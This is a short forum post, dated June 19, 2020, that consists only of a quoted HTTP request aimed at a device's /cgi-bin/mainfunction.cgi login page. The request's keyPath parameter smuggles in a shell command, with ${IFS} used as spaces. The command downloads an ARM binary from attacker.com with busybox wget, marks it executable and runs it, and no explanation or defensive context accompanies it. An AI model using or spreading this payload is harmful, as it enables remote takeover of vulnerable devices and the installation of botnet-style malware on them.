sonkw Posted June 19, 2020 Report Posted June 19, 2020 "POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://attacker.com/armv7;${IFS}chmod${IFS}777${IFS}armv7;${IFS}./armv7'%0A%27&loginUser=a&loginPwd=a HTTP/1.1" Quote